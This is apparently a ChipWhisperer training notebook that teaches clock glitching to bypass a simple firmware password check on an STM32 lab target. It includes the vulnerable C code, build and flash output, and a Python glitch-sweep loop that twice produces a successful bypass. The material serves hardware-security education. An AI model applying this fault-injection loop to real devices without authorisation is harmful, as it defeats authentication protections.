Part 1, Topic 2: Clock Glitching to Bypass Password¶
SUMMARY: In the previous lab, we learned how clock glitching can be used to cause a target to behave unexpectedly. In this lab, we’ll look at a slightly more realistic example - glitching past a password check
LEARNING OUTCOMES:
Applying previous glitch settings to new firmware
Checking for success and failure when glitching
Firmware¶
We’ve already seen how we can insert clock gliches to mess up a calculation that a target is trying to make. While this has many applications, some which will be covered in Fault_201, let’s take a look at something a little closer to our original example of glitch vulnerable code: a password check. No need to change out firmware here, we’re still using the simpleserial-glitch project (though we’ll go through all the build stuff again).
The code is as follows for the password check:
uint8_t password(uint8_t* pw)
{
char passwd[] = "touch";
char passok = 1;
int cnt;
trigger_high();
//Simple test - doesn't check for too-long password!
for(cnt = 0; cnt < 5; cnt++){
if (pw[cnt] != passwd[cnt]){
passok = 0;
}
}
trigger_low();
simpleserial_put('r', 1, (uint8_t*)&passok);
return passok;
}
There’s really nothing out of the ordinary here - it’s just a simple
password check. We can communicate with it using the 'p'
command.
In [1]:
SCOPETYPE = 'OPENADC'
PLATFORM = 'CWLITEARM'
In [2]:
%%bash -s "$PLATFORM"
cd ../../../hardware/victims/firmware/simpleserial-glitch
make PLATFORM=$1 CRYPTO_TARGET=NONE
Out [2]:
SS_VER set to SS_VER_1_1 rm -f -- simpleserial-glitch-CWLITEARM.hex rm -f -- simpleserial-glitch-CWLITEARM.eep rm -f -- simpleserial-glitch-CWLITEARM.cof rm -f -- simpleserial-glitch-CWLITEARM.elf rm -f -- simpleserial-glitch-CWLITEARM.map rm -f -- simpleserial-glitch-CWLITEARM.sym rm -f -- simpleserial-glitch-CWLITEARM.lss rm -f -- objdir/*.o rm -f -- objdir/*.lst rm -f -- simpleserial-glitch.s simpleserial.s stm32f3_hal.s stm32f3_hal_lowlevel.s stm32f3_sysmem.s rm -f -- simpleserial-glitch.d simpleserial.d stm32f3_hal.d stm32f3_hal_lowlevel.d stm32f3_sysmem.d rm -f -- simpleserial-glitch.i simpleserial.i stm32f3_hal.i stm32f3_hal_lowlevel.i stm32f3_sysmem.i . Welcome to another exciting ChipWhisperer target build!! arm-none-eabi-gcc.exe (GNU Arm Embedded Toolchain 9-2020-q2-update) 9.3.1 20200408 (release) Copyright (C) 2019 Free Software Foundation, Inc. This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. . Compiling C: simpleserial-glitch.c arm-none-eabi-gcc -c -mcpu=cortex-m4 -I. -mthumb -mfloat-abi=soft -fmessage-length=0 -ffunction-sections -gdwarf-2 -DSS_VER=SS_VER_1_1 -DSTM32F303xC -DSTM32F3 -DSTM32 -DDEBUG -DHAL_TYPE=HAL_stm32f3 -DPLATFORM=CWLITEARM -DF_CPU=7372800UL -Os -funsigned-char -funsigned-bitfields -fshort-enums -Wall -Wstrict-prototypes -Wa,-adhlns=objdir/simpleserial-glitch.lst -I.././simpleserial/ -I.././hal -I.././hal/stm32f3 -I.././hal/stm32f3/CMSIS -I.././hal/stm32f3/CMSIS/core -I.././hal/stm32f3/CMSIS/device -I.././hal/stm32f4/Legacy -I.././crypto/ -std=gnu99 -MMD -MP -MF .dep/simpleserial-glitch.o.d simpleserial-glitch.c -o objdir/simpleserial-glitch.o . Compiling C: .././simpleserial/simpleserial.c arm-none-eabi-gcc -c -mcpu=cortex-m4 -I. -mthumb -mfloat-abi=soft -fmessage-length=0 -ffunction-sections -gdwarf-2 -DSS_VER=SS_VER_1_1 -DSTM32F303xC -DSTM32F3 -DSTM32 -DDEBUG -DHAL_TYPE=HAL_stm32f3 -DPLATFORM=CWLITEARM -DF_CPU=7372800UL -Os -funsigned-char -funsigned-bitfields -fshort-enums -Wall -Wstrict-prototypes -Wa,-adhlns=objdir/simpleserial.lst -I.././simpleserial/ -I.././hal -I.././hal/stm32f3 -I.././hal/stm32f3/CMSIS -I.././hal/stm32f3/CMSIS/core -I.././hal/stm32f3/CMSIS/device -I.././hal/stm32f4/Legacy -I.././crypto/ -std=gnu99 -MMD -MP -MF .dep/simpleserial.o.d .././simpleserial/simpleserial.c -o objdir/simpleserial.o . Compiling C: .././hal/stm32f3/stm32f3_hal.c arm-none-eabi-gcc -c -mcpu=cortex-m4 -I. -mthumb -mfloat-abi=soft -fmessage-length=0 -ffunction-sections -gdwarf-2 -DSS_VER=SS_VER_1_1 -DSTM32F303xC -DSTM32F3 -DSTM32 -DDEBUG -DHAL_TYPE=HAL_stm32f3 -DPLATFORM=CWLITEARM -DF_CPU=7372800UL -Os -funsigned-char -funsigned-bitfields -fshort-enums -Wall -Wstrict-prototypes -Wa,-adhlns=objdir/stm32f3_hal.lst -I.././simpleserial/ -I.././hal -I.././hal/stm32f3 -I.././hal/stm32f3/CMSIS -I.././hal/stm32f3/CMSIS/core -I.././hal/stm32f3/CMSIS/device -I.././hal/stm32f4/Legacy -I.././crypto/ -std=gnu99 -MMD -MP -MF .dep/stm32f3_hal.o.d .././hal/stm32f3/stm32f3_hal.c -o objdir/stm32f3_hal.o . Compiling C: .././hal/stm32f3/stm32f3_hal_lowlevel.c arm-none-eabi-gcc -c -mcpu=cortex-m4 -I. -mthumb -mfloat-abi=soft -fmessage-length=0 -ffunction-sections -gdwarf-2 -DSS_VER=SS_VER_1_1 -DSTM32F303xC -DSTM32F3 -DSTM32 -DDEBUG -DHAL_TYPE=HAL_stm32f3 -DPLATFORM=CWLITEARM -DF_CPU=7372800UL -Os -funsigned-char -funsigned-bitfields -fshort-enums -Wall -Wstrict-prototypes -Wa,-adhlns=objdir/stm32f3_hal_lowlevel.lst -I.././simpleserial/ -I.././hal -I.././hal/stm32f3 -I.././hal/stm32f3/CMSIS -I.././hal/stm32f3/CMSIS/core -I.././hal/stm32f3/CMSIS/device -I.././hal/stm32f4/Legacy -I.././crypto/ -std=gnu99 -MMD -MP -MF .dep/stm32f3_hal_lowlevel.o.d .././hal/stm32f3/stm32f3_hal_lowlevel.c -o objdir/stm32f3_hal_lowlevel.o . Compiling C: .././hal/stm32f3/stm32f3_sysmem.c arm-none-eabi-gcc -c -mcpu=cortex-m4 -I. -mthumb -mfloat-abi=soft -fmessage-length=0 -ffunction-sections -gdwarf-2 -DSS_VER=SS_VER_1_1 -DSTM32F303xC -DSTM32F3 -DSTM32 -DDEBUG -DHAL_TYPE=HAL_stm32f3 -DPLATFORM=CWLITEARM -DF_CPU=7372800UL -Os -funsigned-char -funsigned-bitfields -fshort-enums -Wall -Wstrict-prototypes -Wa,-adhlns=objdir/stm32f3_sysmem.lst -I.././simpleserial/ -I.././hal -I.././hal/stm32f3 -I.././hal/stm32f3/CMSIS -I.././hal/stm32f3/CMSIS/core -I.././hal/stm32f3/CMSIS/device -I.././hal/stm32f4/Legacy -I.././crypto/ -std=gnu99 -MMD -MP -MF .dep/stm32f3_sysmem.o.d .././hal/stm32f3/stm32f3_sysmem.c -o objdir/stm32f3_sysmem.o . Assembling: .././hal/stm32f3/stm32f3_startup.S arm-none-eabi-gcc -c -mcpu=cortex-m4 -I. -x assembler-with-cpp -mthumb -mfloat-abi=soft -fmessage-length=0 -ffunction-sections -DF_CPU=7372800 -Wa,-gstabs,-adhlns=objdir/stm32f3_startup.lst -I.././simpleserial/ -I.././hal -I.././hal/stm32f3 -I.././hal/stm32f3/CMSIS -I.././hal/stm32f3/CMSIS/core -I.././hal/stm32f3/CMSIS/device -I.././hal/stm32f4/Legacy -I.././crypto/ .././hal/stm32f3/stm32f3_startup.S -o objdir/stm32f3_startup.o . Linking: simpleserial-glitch-CWLITEARM.elf arm-none-eabi-gcc -mcpu=cortex-m4 -I. -mthumb -mfloat-abi=soft -fmessage-length=0 -ffunction-sections -gdwarf-2 -DSS_VER=SS_VER_1_1 -DSTM32F303xC -DSTM32F3 -DSTM32 -DDEBUG -DHAL_TYPE=HAL_stm32f3 -DPLATFORM=CWLITEARM -DF_CPU=7372800UL -Os -funsigned-char -funsigned-bitfields -fshort-enums -Wall -Wstrict-prototypes -Wa,-adhlns=objdir/simpleserial-glitch.o -I.././simpleserial/ -I.././hal -I.././hal/stm32f3 -I.././hal/stm32f3/CMSIS -I.././hal/stm32f3/CMSIS/core -I.././hal/stm32f3/CMSIS/device -I.././hal/stm32f4/Legacy -I.././crypto/ -std=gnu99 -MMD -MP -MF .dep/simpleserial-glitch-CWLITEARM.elf.d objdir/simpleserial-glitch.o objdir/simpleserial.o objdir/stm32f3_hal.o objdir/stm32f3_hal_lowlevel.o objdir/stm32f3_sysmem.o objdir/stm32f3_startup.o --output simpleserial-glitch-CWLITEARM.elf --specs=nano.specs --specs=nosys.specs -T .././hal/stm32f3/LinkerScript.ld -Wl,--gc-sections -lm -Wl,-Map=simpleserial-glitch-CWLITEARM.map,--cref -lm . Creating load file for Flash: simpleserial-glitch-CWLITEARM.hex arm-none-eabi-objcopy -O ihex -R .eeprom -R .fuse -R .lock -R .signature simpleserial-glitch-CWLITEARM.elf simpleserial-glitch-CWLITEARM.hex . Creating load file for EEPROM: simpleserial-glitch-CWLITEARM.eep arm-none-eabi-objcopy -j .eeprom --set-section-flags=.eeprom="alloc,load" --change-section-lma .eeprom=0 --no-change-warnings -O ihex simpleserial-glitch-CWLITEARM.elf simpleserial-glitch-CWLITEARM.eep || exit 0 . Creating Extended Listing: simpleserial-glitch-CWLITEARM.lss arm-none-eabi-objdump -h -S -z simpleserial-glitch-CWLITEARM.elf > simpleserial-glitch-CWLITEARM.lss . Creating Symbol Table: simpleserial-glitch-CWLITEARM.sym arm-none-eabi-nm -n simpleserial-glitch-CWLITEARM.elf > simpleserial-glitch-CWLITEARM.sym Size after: text data bss dec hex filename 5232 8 1296 6536 1988 simpleserial-glitch-CWLITEARM.elf +-------------------------------------------------------- + Default target does full rebuild each time. + Specify buildtarget == allquick == to avoid full rebuild +-------------------------------------------------------- +-------------------------------------------------------- + Built for platform CW-Lite Arm (STM32F3) with: + CRYPTO_TARGET = NONE + CRYPTO_OPTIONS = +--------------------------------------------------------
In [3]:
%run "../../Setup_Scripts/Setup_Generic.ipynb"
Out [3]:
Serial baud rate = 38400
INFO: Found ChipWhisperer😍
In [4]:
fw_path = "../../../hardware/victims/firmware/simpleserial-glitch/simpleserial-glitch-{}.hex".format(PLATFORM)
cw.program_target(scope, prog, fw_path)
Out [4]:
Serial baud rate = 115200
Detected known STMF32: STM32F302xB(C)/303xB(C)
Extended erase (0x44), this can take ten seconds or more
Attempting to program 5239 bytes at 0x8000000
STM32F Programming flash...
STM32F Reading flash...
Verified flash OK, 5239 bytes
Serial baud rate = 38400
In [5]:
if PLATFORM == "CWLITEXMEGA":
def reboot_flush():
scope.io.pdic = False
time.sleep(0.1)
scope.io.pdic = "high_z"
time.sleep(0.1)
#Flush garbage too
target.flush()
else:
def reboot_flush():
scope.io.nrst = False
time.sleep(0.05)
scope.io.nrst = "high_z"
time.sleep(0.05)
#Flush garbage too
target.flush()
If we send a wrong password:
In [6]:
#Do glitch loop
pw = bytearray([0x00]*5)
target.simpleserial_write('p', pw)
val = target.simpleserial_read_witherrors('r', 1, glitch_timeout=10)#For loop check
valid = val['valid']
if valid:
response = val['payload']
raw_serial = val['full_response']
error_code = val['rv']
print(val)
Out [6]:
{'valid': True, 'payload': CWbytearray(b'00'), 'full_response': 'r00n', 'rv': 0}
We get a resposne of zero. But if we send the correct password:
In [7]:
#Do glitch loop
pw = bytearray([0x74, 0x6F, 0x75, 0x63, 0x68]) # correct password ASCII representation
target.simpleserial_write('p', pw)
val = target.simpleserial_read_witherrors('r', 1, glitch_timeout=10)#For loop check
valid = val['valid']
if valid:
response = val['payload']
raw_serial = val['full_response']
error_code = val['rv']
print(val)
Out [7]:
{'valid': True, 'payload': CWbytearray(b'01'), 'full_response': 'r01n', 'rv': 1}
We get a 1 back. Set the glitch up as in the previous part:
In [8]:
scope.glitch.clk_src = 'clkgen'
scope.glitch.trigger_src = 'ext_single'
scope.glitch.repeat = 1
scope.glitch.output = "clock_xor"
scope.io.hs2 = "glitch"
Update the code below to also add an ext offset parameter:
In [9]:
import matplotlib.pylab as plt
import chipwhisperer.common.results.glitch as glitch
gc = glitch.GlitchController(groups=["success", "reset", "normal"], parameters=["width", "offset", "ext_offset"])
gc.display_stats()
Out [9]:
And make a glitch loop. Make sure you use some successful settings that you found in the previous lab, since it will make this one much shorter!
One change you probably want to make is to add a scan for ext_offset. The number of places we can insert a successful glitch has gone way down. Doing this will also be very important for future labs.
In [10]:
from importlib import reload
import chipwhisperer.common.results.glitch as glitch
from tqdm.notebook import tqdm
import re
import struct
gc.set_range("width", 2, 14)
gc.set_range("offset", -14, 14)
gc.set_range("ext_offset", 11, 31)
step = 1
gc.set_global_step(step)
scope.glitch.repeat = 1
reboot_flush()
broken = False
for glitch_settings in gc.glitch_values():
scope.glitch.offset = glitch_settings[1]
scope.glitch.width = glitch_settings[0]
scope.glitch.ext_offset = glitch_settings[2]
if scope.adc.state:
# can detect crash here (fast) before timing out (slow)
print("Trigger still high!")
gc.add("reset", (scope.glitch.width, scope.glitch.offset, scope.glitch.ext_offset))
#plt.plot(lwid, loff, 'xr', alpha=1)
#fig.canvas.draw()
#Device is slow to boot?
reboot_flush()
scope.arm()
target.simpleserial_write('p', bytearray([0]*5))
ret = scope.capture()
val = target.simpleserial_read_witherrors('r', 1, glitch_timeout=10)#For loop check
if ret:
print('Timeout - no trigger')
gc.add("reset", (scope.glitch.width, scope.glitch.offset, scope.glitch.ext_offset))
#Device is slow to boot?
reboot_flush()
else:
if val['valid'] is False:
gc.add("reset", (scope.glitch.width, scope.glitch.offset, scope.glitch.ext_offset))
#plt.plot(scope.glitch.width, scope.glitch.offset, 'xr', alpha=1)
#fig.canvas.draw()
else:
if val['rv'] == 1: #for loop check
broken = True
gc.add("success", (scope.glitch.width, scope.glitch.offset, scope.glitch.ext_offset))
print(val['payload'])
print(scope.glitch.width, scope.glitch.offset, scope.glitch.ext_offset)
print("🐙", end="")
else:
gc.add("normal", (scope.glitch.width, scope.glitch.offset, scope.glitch.ext_offset))
Out [10]:
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
CWbytearray(b'01')
3.125 -1.953125 20
🐙Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
CWbytearray(b'01')
3.125 -1.953125 30
🐙Trigger still high!
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
WARNING:root:Partial reconfiguration for offset = 0 may not work
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
